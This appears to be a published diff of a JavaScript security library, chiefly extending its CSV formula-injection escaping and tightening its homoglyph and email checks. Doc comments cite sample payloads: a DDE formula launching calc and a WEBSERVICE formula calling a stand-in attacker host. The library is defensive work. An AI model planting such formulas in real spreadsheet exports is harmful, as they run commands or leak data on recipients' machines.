@resq-systems/security 2.0.0 → 2.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/lib/controls/address.d.mts +8 -8
- package/lib/controls/address.d.mts.map +1 -1
- package/lib/controls/address.mjs.map +1 -1
- package/lib/controls/csrf.d.mts +7 -7
- package/lib/controls/csrf.d.mts.map +1 -1
- package/lib/controls/csrf.mjs +5 -2
- package/lib/controls/csrf.mjs.map +1 -1
- package/lib/controls/origin.d.mts +6 -6
- package/lib/controls/origin.d.mts.map +1 -1
- package/lib/controls/origin.mjs +1 -0
- package/lib/controls/origin.mjs.map +1 -1
- package/lib/controls/payload.d.mts +4 -4
- package/lib/controls/payload.d.mts.map +1 -1
- package/lib/controls/payload.mjs.map +1 -1
- package/lib/controls/query.d.mts +22 -10
- package/lib/controls/query.d.mts.map +1 -1
- package/lib/controls/query.mjs +42 -23
- package/lib/controls/query.mjs.map +1 -1
- package/lib/controls/redirect.d.mts +5 -5
- package/lib/controls/redirect.d.mts.map +1 -1
- package/lib/controls/redirect.mjs.map +1 -1
- package/lib/controls/upload.d.mts +7 -7
- package/lib/controls/upload.d.mts.map +1 -1
- package/lib/controls/upload.mjs.map +1 -1
- package/lib/crypto.d.mts +20 -21
- package/lib/crypto.d.mts.map +1 -1
- package/lib/crypto.mjs +3 -1
- package/lib/crypto.mjs.map +1 -1
- package/lib/hash.d.mts +5 -5
- package/lib/hash.d.mts.map +1 -1
- package/lib/hash.mjs +1 -0
- package/lib/hash.mjs.map +1 -1
- package/lib/paths.d.mts +5 -5
- package/lib/paths.d.mts.map +1 -1
- package/lib/paths.mjs +1 -0
- package/lib/paths.mjs.map +1 -1
- package/lib/sanitize.d.mts +36 -37
- package/lib/sanitize.d.mts.map +1 -1
- package/lib/sanitize.mjs.map +1 -1
- package/lib/threats/capec.generated.d.mts +4 -4
- package/lib/threats/capec.generated.d.mts.map +1 -1
- package/lib/threats/capec.generated.mjs.map +1 -1
- package/lib/threats/engine.d.mts +4 -5
- package/lib/threats/engine.d.mts.map +1 -1
- package/lib/threats/engine.mjs +1 -0
- package/lib/threats/engine.mjs.map +1 -1
- package/lib/threats/rules/datastore.d.mts +4 -5
- package/lib/threats/rules/datastore.d.mts.map +1 -1
- package/lib/threats/rules/datastore.mjs.map +1 -1
- package/lib/threats/rules/index.d.mts +5 -5
- package/lib/threats/rules/index.d.mts.map +1 -1
- package/lib/threats/rules/index.mjs.map +1 -1
- package/lib/threats/rules/markup.d.mts +4 -5
- package/lib/threats/rules/markup.d.mts.map +1 -1
- package/lib/threats/rules/markup.mjs +1 -0
- package/lib/threats/rules/markup.mjs.map +1 -1
- package/lib/threats/rules/protocol.d.mts +4 -5
- package/lib/threats/rules/protocol.d.mts.map +1 -1
- package/lib/threats/rules/protocol.mjs.map +1 -1
- package/lib/threats/rules/system.d.mts +4 -5
- package/lib/threats/rules/system.d.mts.map +1 -1
- package/lib/threats/rules/system.mjs.map +1 -1
- package/lib/threats/rules/web.d.mts +5 -6
- package/lib/threats/rules/web.d.mts.map +1 -1
- package/lib/threats/rules/web.mjs +1 -1
- package/lib/threats/rules/web.mjs.map +1 -1
- package/lib/threats/scoring.d.mts +5 -6
- package/lib/threats/scoring.d.mts.map +1 -1
- package/lib/threats/scoring.mjs +1 -0
- package/lib/threats/scoring.mjs.map +1 -1
- package/lib/threats/types.d.mts +18 -18
- package/lib/threats/types.d.mts.map +1 -1
- package/lib/threats/types.mjs.map +1 -1
- package/lib/threats/variants.d.mts +3 -4
- package/lib/threats/variants.d.mts.map +1 -1
- package/lib/threats/variants.mjs.map +1 -1
- package/lib/unicode/confusables.d.mts +5 -5
- package/lib/unicode/confusables.d.mts.map +1 -1
- package/lib/unicode/confusables.mjs +1 -0
- package/lib/unicode/confusables.mjs.map +1 -1
- package/lib/unicode/index.d.mts +11 -11
- package/lib/unicode/index.d.mts.map +1 -1
- package/lib/unicode/index.mjs +1 -0
- package/lib/unicode/index.mjs.map +1 -1
- package/lib/validators.d.mts +89 -39
- package/lib/validators.d.mts.map +1 -1
- package/lib/validators.mjs +285 -21
- package/lib/validators.mjs.map +1 -1
- package/package.json +7 -7
package/lib/validators.mjs
CHANGED
|
@@ -5,6 +5,7 @@ import { assertNever } from "@resq-systems/types";
|
|
|
5
5
|
//#region src/validators.ts
|
|
6
6
|
/**
|
|
7
7
|
* Copyright 2026 ResQ Systems, Inc.
|
|
8
|
+
* SPDX-License-Identifier: Apache-2.0
|
|
8
9
|
*
|
|
9
10
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
|
10
11
|
* you may not use this file except in compliance with the License.
|
|
@@ -176,7 +177,8 @@ const BIDI_FINDING_OVERRIDE = {
|
|
|
176
177
|
*/
|
|
177
178
|
function containsHomoglyphs(input) {
|
|
178
179
|
if (!input || typeof input !== "string") return [];
|
|
179
|
-
const
|
|
180
|
+
const bounded = input.length > 1e5 ? input.slice(0, MAX_SCAN_LENGTH) : input;
|
|
181
|
+
const analysis = analyzeIdentifier(bounded);
|
|
180
182
|
if (!analysis.isMixedScript && !analysis.hasBidiControls) return [];
|
|
181
183
|
return [{
|
|
182
184
|
...MIXED_SCRIPT_FINDING,
|
|
@@ -371,29 +373,287 @@ function encodeLogValue(value, options = {}) {
|
|
|
371
373
|
* Mirrors `CSV-FORMULA-LEAD-001`, deliberately: the rule sees through leading quotes and
|
|
372
374
|
* spaces because spreadsheet importers do, so an encoder that only looked at index 0
|
|
373
375
|
* would leave ` =cmd|'/c calc'!A1` live.
|
|
376
|
+
*
|
|
377
|
+
* The leading run is unbounded because a reader that strips it strips all of it, so any
|
|
378
|
+
* cap only moves the bypass one character past the cap. One anchored character class
|
|
379
|
+
* under `*` backtracks linearly, so the unbounded run carries no ReDoS cost.
|
|
380
|
+
*
|
|
381
|
+
* The run is `'`, `"` and whitespace: JavaScript's `\s`, plus U+001C to U+001F and U+0085,
|
|
382
|
+
* which `\s` omits but other runtimes trim. Python's `strip()` removes all five, .NET's
|
|
383
|
+
* `Trim()` removes U+0085 and Java's `trim()` removes U+001C to U+001F.
|
|
384
|
+
*
|
|
385
|
+
* The trigger class is the OWASP CSV Injection list: `=`, `+`, `-`, `@`, TAB, CR and LF,
|
|
386
|
+
* plus the full-width `=` `+` `-` `@` (U+FF1D, U+FF0B, U+FF0D, U+FF20), which some
|
|
387
|
+
* locales read as formulas too.
|
|
388
|
+
*
|
|
389
|
+
* `escapeCsvField` tests this pattern at the start of the value. After each boundary
|
|
390
|
+
* inside the value it tests {@link CSV_FIELD_FORMULA_LEAD} instead, in one linear pass
|
|
391
|
+
* (see {@link formulaLeadStarts}). Both tests also check the NFKC form of the head,
|
|
392
|
+
* because the rule matches the scan's `nfkc` variant: NFKC folds the small `=` `+` `-` `@`
|
|
393
|
+
* (U+FE66, U+FE62, U+FE63, U+FE6B) onto triggers and the full-width `"` and `'` (U+FF02,
|
|
394
|
+
* U+FF07) onto the leading run. The rule's percent- and HTML-decoded variants have no
|
|
395
|
+
* counterpart here, since no spreadsheet decodes a cell that way.
|
|
396
|
+
*/
|
|
397
|
+
const CSV_FORMULA_LEAD = /^[\s\x1c-\x1f\x85'"]*[=+\-@\t\r\n\uff1d\uff0b\uff0d\uff20]/;
|
|
398
|
+
/**
|
|
399
|
+
* {@link CSV_FORMULA_LEAD} with TAB, CR and LF in the leading run only, not the triggers:
|
|
400
|
+
* the pattern `escapeCsvField` tests after a boundary inside a value. A run of them before
|
|
401
|
+
* `=` `+` `-` `@` or a full-width form is still seen through, but on their own they lead
|
|
402
|
+
* no formula there, so plain multi-line or tab-separated text keeps its value. At the start
|
|
403
|
+
* of the value they stay triggers, as OWASP lists them.
|
|
404
|
+
*/
|
|
405
|
+
const CSV_FIELD_FORMULA_LEAD = /^[\s\x1c-\x1f\x85'"]*[=+\-@\uff1d\uff0b\uff0d\uff20]/;
|
|
406
|
+
/**
|
|
407
|
+
* The raw leading run of {@link CSV_FORMULA_LEAD}, plus U+FF02 and U+FF07, the only
|
|
408
|
+
* characters outside that run whose NFKC form falls inside it.
|
|
409
|
+
*/
|
|
410
|
+
const CSV_NFKC_LEADING_RUN = /^[\s\x1c-\x1f\x85'"\uff02\uff07]*/;
|
|
411
|
+
/**
|
|
412
|
+
* Characters normalized after the leading run: enough for the character that follows
|
|
413
|
+
* the run to decompose, and for most of its combining marks.
|
|
414
|
+
*/
|
|
415
|
+
const CSV_NFKC_TAIL = 16;
|
|
416
|
+
/**
|
|
417
|
+
* Characters after which a reader may start a field inside a value: the separators readers
|
|
418
|
+
* commonly split on; CR and LF, which end a record; the other line separators of Python's
|
|
419
|
+
* `str.splitlines()` (VT, FF, U+001C to U+001E, U+0085, U+2028 and U+2029), where a reader
|
|
420
|
+
* that splits the file into lines with it ends a record too; and U+037E, which NFC and
|
|
421
|
+
* NFKC fold onto `;`. `escapeCsvField` adds each character of the configured delimiter.
|
|
422
|
+
* All are rare in text apart from the first five, and an apostrophe goes in only where a
|
|
423
|
+
* formula follows.
|
|
424
|
+
*/
|
|
425
|
+
const CSV_BOUNDARIES = ",; \r\n\v\f
\u2028\u2029;";
|
|
426
|
+
/** A code unit in the leading run or the trigger class of {@link CSV_FIELD_FORMULA_LEAD}. */
|
|
427
|
+
const CSV_UNIT_RUN_OR_TRIGGER = 1;
|
|
428
|
+
/** A code unit in the trigger class of {@link CSV_FIELD_FORMULA_LEAD}. */
|
|
429
|
+
const CSV_UNIT_TRIGGER = 2;
|
|
430
|
+
/** A code unit in {@link CSV_NFKC_LEADING_RUN}. */
|
|
431
|
+
const CSV_UNIT_NFKC_RUN = 4;
|
|
432
|
+
/** Set on every computed entry of the class table, so a zero entry means "not computed". */
|
|
433
|
+
const CSV_UNIT_KNOWN = 8;
|
|
434
|
+
/** The classes of each UTF-16 code unit, filled in on first use. */
|
|
435
|
+
let csvUnitClasses;
|
|
436
|
+
/**
|
|
437
|
+
* The classes of one UTF-16 code unit, read off the patterns themselves so the scan cannot
|
|
438
|
+
* drift from them. Neither pattern has the `u` flag, so both match code units.
|
|
439
|
+
*/
|
|
440
|
+
function csvUnitClass(unit) {
|
|
441
|
+
csvUnitClasses ??= /* @__PURE__ */ new Uint8Array(65536);
|
|
442
|
+
const known = csvUnitClasses[unit];
|
|
443
|
+
if (known !== 0) return known;
|
|
444
|
+
const character = String.fromCharCode(unit);
|
|
445
|
+
const computed = CSV_UNIT_KNOWN | (CSV_FIELD_FORMULA_LEAD.test(`${character}=`) ? CSV_UNIT_RUN_OR_TRIGGER : 0) | (CSV_FIELD_FORMULA_LEAD.test(character) ? CSV_UNIT_TRIGGER : 0) | (CSV_NFKC_LEADING_RUN.exec(character)?.[0] === character ? CSV_UNIT_NFKC_RUN : 0);
|
|
446
|
+
csvUnitClasses[unit] = computed;
|
|
447
|
+
return computed;
|
|
448
|
+
}
|
|
449
|
+
/** Matches any of {@link CSV_BOUNDARIES}. */
|
|
450
|
+
const CSV_BOUNDARY = new RegExp(`[${CSV_BOUNDARIES}]`);
|
|
451
|
+
/** The code points of {@link CSV_BOUNDARIES}. */
|
|
452
|
+
const CSV_BOUNDARY_CODE_POINTS = [...CSV_BOUNDARIES].map((character) => character.codePointAt(0) ?? -1);
|
|
453
|
+
/**
|
|
454
|
+
* The index after each boundary in `value`, ascending: every index after the start at
|
|
455
|
+
* which a reader that splits on a boundary may start a field. A delimiter character
|
|
456
|
+
* outside the BMP is a surrogate pair in the value, so the value is read one code point at
|
|
457
|
+
* a time.
|
|
458
|
+
*/
|
|
459
|
+
function csvFieldStarts(value, delimiter) {
|
|
460
|
+
const starts = [];
|
|
461
|
+
const delimiterCharacters = [...delimiter];
|
|
462
|
+
if (!(CSV_BOUNDARY.test(value) || delimiterCharacters.some((character) => value.includes(character)))) return starts;
|
|
463
|
+
const codePoints = /* @__PURE__ */ new Set([...CSV_BOUNDARY_CODE_POINTS, ...delimiterCharacters.map((character) => character.codePointAt(0) ?? -1)]);
|
|
464
|
+
for (let index = 0; index < value.length;) {
|
|
465
|
+
const codePoint = value.codePointAt(index) ?? -1;
|
|
466
|
+
index += codePoint > 65535 ? 2 : 1;
|
|
467
|
+
if (codePoints.has(codePoint)) starts.push(index);
|
|
468
|
+
}
|
|
469
|
+
return starts;
|
|
470
|
+
}
|
|
471
|
+
/**
|
|
472
|
+
* Whether a formula leads at the start of the value: {@link CSV_FORMULA_LEAD}, with TAB,
|
|
473
|
+
* CR and LF as triggers, matches the value or the NFKC form of its head, the
|
|
474
|
+
* {@link CSV_NFKC_LEADING_RUN} and the {@link CSV_NFKC_TAIL} characters after it.
|
|
374
475
|
*/
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
const
|
|
476
|
+
function formulaLeadsAtStart(value) {
|
|
477
|
+
if (CSV_FORMULA_LEAD.test(value)) return true;
|
|
478
|
+
const run = CSV_NFKC_LEADING_RUN.exec(value)?.[0].length ?? 0;
|
|
479
|
+
return CSV_FORMULA_LEAD.test(value.slice(0, run + CSV_NFKC_TAIL).normalize("NFKC"));
|
|
480
|
+
}
|
|
481
|
+
/**
|
|
482
|
+
* The first index in `[from, to)` whose character ends both leading runs, so that whether
|
|
483
|
+
* a formula leads there does not depend on anything after it: a character outside the
|
|
484
|
+
* NFKC run that is a trigger or is outside the raw run. `to` when there is none.
|
|
485
|
+
*/
|
|
486
|
+
function settledIndex(value, from, to) {
|
|
487
|
+
for (let index = from; index < to; index++) {
|
|
488
|
+
const unitClass = csvUnitClass(value.charCodeAt(index));
|
|
489
|
+
const inRawRunOnly = !((unitClass & CSV_UNIT_TRIGGER) !== 0) && (unitClass & CSV_UNIT_RUN_OR_TRIGGER) !== 0;
|
|
490
|
+
if ((unitClass & CSV_UNIT_NFKC_RUN) === 0 && !inRawRunOnly) return index;
|
|
491
|
+
}
|
|
492
|
+
return to;
|
|
493
|
+
}
|
|
494
|
+
/**
|
|
495
|
+
* Whether the NFKC form of the {@link CSV_NFKC_TAIL} characters from `start` opens with a
|
|
496
|
+
* formula lead after a boundary. A cut can part a character from a later combining mark,
|
|
497
|
+
* which can only leave a trigger that composition would have absorbed, so the check errs
|
|
498
|
+
* towards the prefix. The result outgrows the slice by at most 18 units per character,
|
|
499
|
+
* whatever the value's length.
|
|
500
|
+
*/
|
|
501
|
+
function nfkcTailLeads(value, start) {
|
|
502
|
+
return CSV_FIELD_FORMULA_LEAD.test(value.slice(start, start + CSV_NFKC_TAIL).normalize("NFKC"));
|
|
503
|
+
}
|
|
504
|
+
/**
|
|
505
|
+
* The field starts after a boundary at which a formula leads, where `escapeCsvField`
|
|
506
|
+
* inserts an apostrophe.
|
|
507
|
+
*
|
|
508
|
+
* A formula leads at an index when {@link CSV_FIELD_FORMULA_LEAD} matches the value from
|
|
509
|
+
* there, or matches the NFKC form of its head: the {@link CSV_NFKC_LEADING_RUN} from there
|
|
510
|
+
* and the {@link CSV_NFKC_TAIL} characters after it. Running the pattern at each field
|
|
511
|
+
* start would rescan a leading run once for every boundary inside it, which is quadratic:
|
|
512
|
+
* a million LFs are a million boundaries in one run. Instead the field starts are taken
|
|
513
|
+
* from last to first, and each folds the characters between it and the next field start
|
|
514
|
+
* into the answer from right to left, starting afresh at the first character that ends
|
|
515
|
+
* both runs. Each character is read at most twice, so the work is linear in the value's
|
|
516
|
+
* length.
|
|
517
|
+
*
|
|
518
|
+
* - The raw pattern leads at an index when its character is a trigger, or is in the
|
|
519
|
+
* leading run and the pattern leads at the next index.
|
|
520
|
+
* - Each character of the NFKC run normalizes, on its own, to one character of the raw
|
|
521
|
+
* leading run, and composes with no neighbour. Both hold for every code point. So the
|
|
522
|
+
* head's NFKC form is the run mapped one character at a time, then the NFKC form of the
|
|
523
|
+
* tail. No character of the run is a trigger of this pattern, since TAB, CR and LF are
|
|
524
|
+
* run characters here, so the head leads exactly when the tail's NFKC form does. Each
|
|
525
|
+
* tail is normalized once, whatever the number of field starts in its run.
|
|
526
|
+
*
|
|
527
|
+
* @param value - The text, without NUL.
|
|
528
|
+
* @param fieldStarts - Ascending, from {@link csvFieldStarts}.
|
|
529
|
+
* @returns The field starts at which a formula leads, ascending.
|
|
530
|
+
*/
|
|
531
|
+
function formulaLeadStarts(value, fieldStarts) {
|
|
532
|
+
const leads = [];
|
|
533
|
+
let known = value.length;
|
|
534
|
+
let rawLeads = false;
|
|
535
|
+
let runEnd = value.length;
|
|
536
|
+
let tailStart = -1;
|
|
537
|
+
let tailLeads = false;
|
|
538
|
+
for (let position = fieldStarts.length - 1; position >= 0; position--) {
|
|
539
|
+
const start = fieldStarts[position] ?? 0;
|
|
540
|
+
const settled = settledIndex(value, start, known);
|
|
541
|
+
if (settled < known) {
|
|
542
|
+
known = settled;
|
|
543
|
+
rawLeads = (csvUnitClass(value.charCodeAt(settled)) & CSV_UNIT_TRIGGER) !== 0;
|
|
544
|
+
runEnd = settled;
|
|
545
|
+
}
|
|
546
|
+
for (let index = known - 1; index >= start; index--) {
|
|
547
|
+
const unitClass = csvUnitClass(value.charCodeAt(index));
|
|
548
|
+
rawLeads = (unitClass & CSV_UNIT_TRIGGER) !== 0 || (unitClass & CSV_UNIT_RUN_OR_TRIGGER) !== 0 && rawLeads;
|
|
549
|
+
if ((unitClass & CSV_UNIT_NFKC_RUN) === 0) runEnd = index;
|
|
550
|
+
}
|
|
551
|
+
known = start;
|
|
552
|
+
if (!rawLeads && tailStart !== runEnd) {
|
|
553
|
+
tailStart = runEnd;
|
|
554
|
+
tailLeads = nfkcTailLeads(value, runEnd);
|
|
555
|
+
}
|
|
556
|
+
if (rawLeads || tailLeads) leads.push(start);
|
|
557
|
+
}
|
|
558
|
+
return leads.reverse();
|
|
559
|
+
}
|
|
560
|
+
/** `value` with an apostrophe inserted before each of the ascending `indexes`. */
|
|
561
|
+
function insertApostrophes(value, indexes) {
|
|
562
|
+
if (indexes.length === 0) return value;
|
|
563
|
+
const parts = [];
|
|
564
|
+
let from = 0;
|
|
565
|
+
for (const index of indexes) {
|
|
566
|
+
parts.push(value.slice(from, index), "'");
|
|
567
|
+
from = index;
|
|
568
|
+
}
|
|
569
|
+
parts.push(value.slice(from));
|
|
570
|
+
return parts.join("");
|
|
571
|
+
}
|
|
572
|
+
/**
|
|
573
|
+
* Fields containing any of these are quoted.
|
|
574
|
+
*
|
|
575
|
+
* `"`, CR and LF because RFC 4180 sections 2.6 and 2.7 require it. Comma, semicolon and
|
|
576
|
+
* TAB whatever the configured delimiter, because the reader may split on a different
|
|
577
|
+
* separator than the writer used (Excel follows the locale's list separator). Quoting is
|
|
578
|
+
* always valid under RFC 4180 and changes no value.
|
|
579
|
+
*
|
|
580
|
+
* Quoting protects only a reader that is in step with the writer, since a quote opens a
|
|
581
|
+
* field only at the start of a field as the reader sees it. A reader that splits on
|
|
582
|
+
* another separator takes the quote literally in later columns, and a reader that ignores
|
|
583
|
+
* quotes does so everywhere. For those readers, a cell that starts inside a value is
|
|
584
|
+
* neutralised by the apostrophe `escapeCsvField` inserts after each boundary, not by the
|
|
585
|
+
* quotes. A reader that splits on any other character, such as `|` or a space, gets no
|
|
586
|
+
* apostrophe there, and quoting protects it at most in the first column. Read the file
|
|
587
|
+
* with the delimiter it was written with.
|
|
588
|
+
*/
|
|
589
|
+
const CSV_QUOTE_REQUIRED = /[",;\t\r\n]/;
|
|
378
590
|
/**
|
|
379
591
|
* Escape one cell for CSV export.
|
|
380
592
|
*
|
|
381
593
|
* This is the control named by the formula-injection rules. A CSV file is not inert: a
|
|
382
594
|
* cell beginning `=`, `+`, `-`, `@`, tab or CR is evaluated as a formula by Excel,
|
|
383
595
|
* Sheets and LibreOffice when the recipient opens it, so the payload executes on *their*
|
|
384
|
-
* machine, outside the exporting application entirely (CWE-1236).
|
|
385
|
-
*
|
|
386
|
-
*
|
|
387
|
-
*
|
|
388
|
-
*
|
|
389
|
-
*
|
|
390
|
-
*
|
|
596
|
+
* machine, outside the exporting application entirely (CWE-1236). LF and the full-width
|
|
597
|
+
* `=` `+` `-` `@` are treated as triggers too, following the OWASP CSV Injection list,
|
|
598
|
+
* and so is any character whose NFKC form is a trigger or part of the leading run.
|
|
599
|
+
*
|
|
600
|
+
* Two separate jobs, in order: neutralise formula triggers with apostrophes, then apply
|
|
601
|
+
* RFC 4180 quoting so the field cannot break the row for a reader that splits on the same
|
|
602
|
+
* delimiter.
|
|
603
|
+
*
|
|
604
|
+
* A trigger is neutralised wherever a reader may start a field in text: at the start of
|
|
605
|
+
* the value, and right after each boundary inside it. The boundaries are comma,
|
|
606
|
+
* semicolon, TAB, CR and LF; the other line separators of Python's `str.splitlines()`
|
|
607
|
+
* (VT, FF, U+001C to U+001E, U+0085, U+2028 and U+2029); U+037E, which NFC folds onto
|
|
608
|
+
* `;`; and each character of the delimiter. The apostrophe goes in front of the leading
|
|
609
|
+
* run there, as it does at the start. A reader that splits on any boundary, or that
|
|
610
|
+
* ignores quotes, therefore finds every field that starts inside the value neutralised,
|
|
611
|
+
* in every column, even after an earlier cell has thrown it out of step. A field that
|
|
612
|
+
* starts at a boundary at the very end of the value runs on into the file's closing quote,
|
|
613
|
+
* delimiter or line break and then the next cell, which is neutralised in its own right.
|
|
614
|
+
* The work is linear in the value's length.
|
|
615
|
+
*
|
|
616
|
+
* At the start of the value, TAB, CR and LF are triggers, as OWASP lists them. After a
|
|
617
|
+
* boundary they are leading-run characters only: a run of them in front of `=` `+` `-`
|
|
618
|
+
* `@` or a full-width or small form is seen through and neutralised, but on their own
|
|
619
|
+
* they lead no formula there. So `"x,\t=1"` becomes `"x,'\t'=1"`, while plain multi-line
|
|
620
|
+
* or tab-separated text such as `"line1\r\nline2"` keeps its value.
|
|
621
|
+
*
|
|
622
|
+
* **Numbers, booleans and bigints are never prefixed.** They came from the application's
|
|
623
|
+
* own types and cannot carry a formula, so `-1234` exports as a negative number while
|
|
391
624
|
* `"-1234"` exports as text. Pass numeric columns as numbers, or every negative value in
|
|
392
|
-
* the sheet becomes a string.
|
|
393
|
-
*
|
|
394
|
-
*
|
|
395
|
-
*
|
|
396
|
-
*
|
|
625
|
+
* the sheet becomes a string. Every other value is treated as text, including an array or
|
|
626
|
+
* object, whose string form repeats contents the caller may not control.
|
|
627
|
+
*
|
|
628
|
+
* Worth knowing before relying on it:
|
|
629
|
+
* - **Values can change after a boundary, by design.** A reader that uses the delimiter
|
|
630
|
+
* the file was written with shows an apostrophe inserted after a boundary as part of the
|
|
631
|
+
* value: `"a\n=b"` reads back as `"a\n'=b"`. Only a formula lead gets one, so text such
|
|
632
|
+
* as `"line1\r\nline2"`, `"a\n\nb"` or `"x,\ty"` reads back unchanged. Without it, a
|
|
633
|
+
* reader that splits on that boundary would start a cell there whose leading characters
|
|
634
|
+
* were never checked.
|
|
635
|
+
* - The apostrophe is an Excel convention, **not** an RFC 4180 construct. Readers that do
|
|
636
|
+
* not implement it surface it as a literal character in the data.
|
|
637
|
+
* - **A reader that splits on any other character is not protected.** That includes `|`,
|
|
638
|
+
* a space, and a character that only NFKC folds onto a boundary, such as the full-width
|
|
639
|
+
* comma U+FF0C. A value holding one of them followed by a trigger gets no apostrophe
|
|
640
|
+
* there, and is quoted only if it holds a character that requires quoting. Quoting
|
|
641
|
+
* protects that reader at most in the first column; in any later column, or wherever the
|
|
642
|
+
* value is not quoted, it starts a live cell there. Read the file with the delimiter it
|
|
643
|
+
* was written with.
|
|
644
|
+
* - A field containing a comma, semicolon or TAB is quoted whatever the delimiter, and so
|
|
645
|
+
* is a field containing any character of a multi-character delimiter. Quoting changes no
|
|
646
|
+
* value, and protects only a reader in step with the writer.
|
|
647
|
+
* - **The delimiter must play no other part in the file.** It is written between cells,
|
|
648
|
+
* where no apostrophe can go, and `escapeCsvField` accepts any delimiter. One containing
|
|
649
|
+
* `=`, `+`, `-`, `@` or a character whose NFKC form is one of them, such as their
|
|
650
|
+
* full-width or small forms, puts a trigger at the start of a field for a reader that
|
|
651
|
+
* splits on anything else: `toCsvRow(["", "1+1"], { delimiter: "=" })` is `=1+1`. One
|
|
652
|
+
* containing `'` lets a reader that splits on it cut the apostrophe off a neutralised
|
|
653
|
+
* cell. One containing `"`, CR or LF leaves the apostrophes working but breaks RFC 4180
|
|
654
|
+
* framing: a `"` there opens a quoted field where the writer meant a delimiter, and CR
|
|
655
|
+
* or LF ends the record for every RFC 4180 reader. No reader can then count on staying
|
|
656
|
+
* in step with the writer, which is all that quoting protects.
|
|
397
657
|
* - NUL is removed rather than escaped, so it does not round-trip.
|
|
398
658
|
* - Scanning the output with `scanForThreats` still reports a finding, by design:
|
|
399
659
|
* `CSV-FORMULA-LEAD-001` sees through the apostrophe and `CSV-DDE-001` is
|
|
@@ -409,16 +669,19 @@ const CSV_QUOTE_REQUIRED = /["\r\n]/;
|
|
|
409
669
|
* ```ts
|
|
410
670
|
* escapeCsvField("=WEBSERVICE(\"https://evil.example\")");
|
|
411
671
|
* // quoted, and inert on open
|
|
672
|
+
* escapeCsvField("a\n=1+1"); // "\"a\n'=1+1\"" — inert after the line break too
|
|
673
|
+
* escapeCsvField("a\r\nb"); // "\"a\r\nb\"" — quoted, value unchanged
|
|
412
674
|
* escapeCsvField(-1234); // "-1234" — a number, not a formula
|
|
413
675
|
* ```
|
|
414
676
|
*/
|
|
415
677
|
function escapeCsvField(value, options = {}) {
|
|
416
678
|
if (value === null || value === void 0) return "";
|
|
417
679
|
const delimiter = options.delimiter ?? ",";
|
|
418
|
-
const isUntrustedText = typeof value === "
|
|
419
|
-
const cleaned = (
|
|
420
|
-
const neutralised = isUntrustedText
|
|
421
|
-
|
|
680
|
+
const isUntrustedText = !(typeof value === "number" || typeof value === "boolean" || typeof value === "bigint");
|
|
681
|
+
const cleaned = (typeof value === "string" ? value : String(value)).replace(/\u0000/g, "");
|
|
682
|
+
const neutralised = isUntrustedText ? insertApostrophes(cleaned, [...formulaLeadsAtStart(cleaned) ? [0] : [], ...formulaLeadStarts(cleaned, csvFieldStarts(cleaned, delimiter))]) : cleaned;
|
|
683
|
+
const containsDelimiter = [...delimiter].some((character) => neutralised.includes(character));
|
|
684
|
+
return CSV_QUOTE_REQUIRED.test(neutralised) || containsDelimiter ? `"${neutralised.replaceAll("\"", "\"\"")}"` : neutralised;
|
|
422
685
|
}
|
|
423
686
|
/**
|
|
424
687
|
* Escape and join one row for CSV export.
|
|
@@ -617,7 +880,8 @@ function validateSafeEmail(input) {
|
|
|
617
880
|
if (typeof input !== "string") return false;
|
|
618
881
|
if (input.length > MAX_EMAIL_LENGTH) return false;
|
|
619
882
|
if (!EMAIL_PATTERN.test(input)) return false;
|
|
620
|
-
const
|
|
883
|
+
const domain = input.slice(input.lastIndexOf("@") + 1);
|
|
884
|
+
const analysis = analyzeIdentifier(domain);
|
|
621
885
|
return !analysis.isMixedScript && !analysis.hasBidiControls;
|
|
622
886
|
}
|
|
623
887
|
/**
|
package/lib/validators.mjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"validators.mjs","names":[],"sources":["../src/validators.ts"],"sourcesContent":["/**\n * Copyright 2026 ResQ Systems, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * @fileoverview Field-level validators, output encoders, and the compatibility\n * surface over the context-aware rule engine in `@resq-systems/security/threats`.\n *\n * The pattern arrays that used to live here are gone. Every detector below delegates\n * to {@link scanForThreats} with the context matching its sink, which is what stops a\n * detector meant for file paths from rejecting a biography. New code should call\n * `scanForThreats` directly and declare its own contexts; the `contains*` helpers\n * remain for callers written against the previous API.\n *\n * Detection is defense-in-depth. Output encoding, parameterized queries, path\n * containment, and argv-array process spawning are the controls.\n *\n * @module @resq-systems/security/validators\n */\n\nimport { assertNever } from \"@resq-systems/types\";\nimport { MAX_SCAN_LENGTH, scanForThreats } from \"./threats/engine.js\";\nimport type { ThreatContext, ThreatFinding, ThreatType } from \"./threats/types.js\";\nimport { analyzeIdentifier, containsBidiControls, foldConfusables } from \"./unicode/index.js\";\n\nexport type { ThreatFinding, ThreatType } from \"./threats/types.js\";\n\n//#region Result types\n\n/**\n * Outcome of {@link detectThreatPatterns}.\n *\n * `isSafe` is the boolean shortcut; `threats` carries the findings. Prefer\n * {@link scanForThreats}, whose result adds a numeric score and an allow/review/block\n * verdict instead of collapsing everything into one boolean.\n */\nexport interface ThreatDetectionResult {\n\t/** `true` when no detector fired. Equivalent to `threats.length === 0`. */\n\tisSafe: boolean;\n\t/** Findings from the enabled detectors, at most one per weakness category. */\n\tthreats: ThreatFinding[];\n}\n\n/**\n * Minimal shape {@link getThreatErrorMessage} needs.\n *\n * Deliberately narrower than {@link ThreatFinding} so callers can pass a hand-built\n * summary — or a finding from an older version of this package — without having to\n * populate the full record.\n */\nexport interface ThreatSummary {\n\t/** Weakness category. The only field the message depends on. */\n\treadonly type: ThreatType;\n\t/** Operator-facing description, if available. */\n\treadonly description?: string;\n\t/** Matched excerpt, if available. */\n\treadonly matchedPattern?: string;\n}\n\n//#endregion\n\n//#region Legacy detector configuration\n\n/**\n * Per-detector toggles for {@link detectThreatPatterns}.\n *\n * @deprecated Prefer {@link scanForThreats} with an explicit `contexts` list. These\n * booleans conflate \"which weakness am I looking for\" with \"where is this value\n * going\", and the second question is the one that decides whether a signature is\n * evidence or noise. Each flag maps onto a context: `checkXSS` → `html`,\n * `checkSQLInjection` 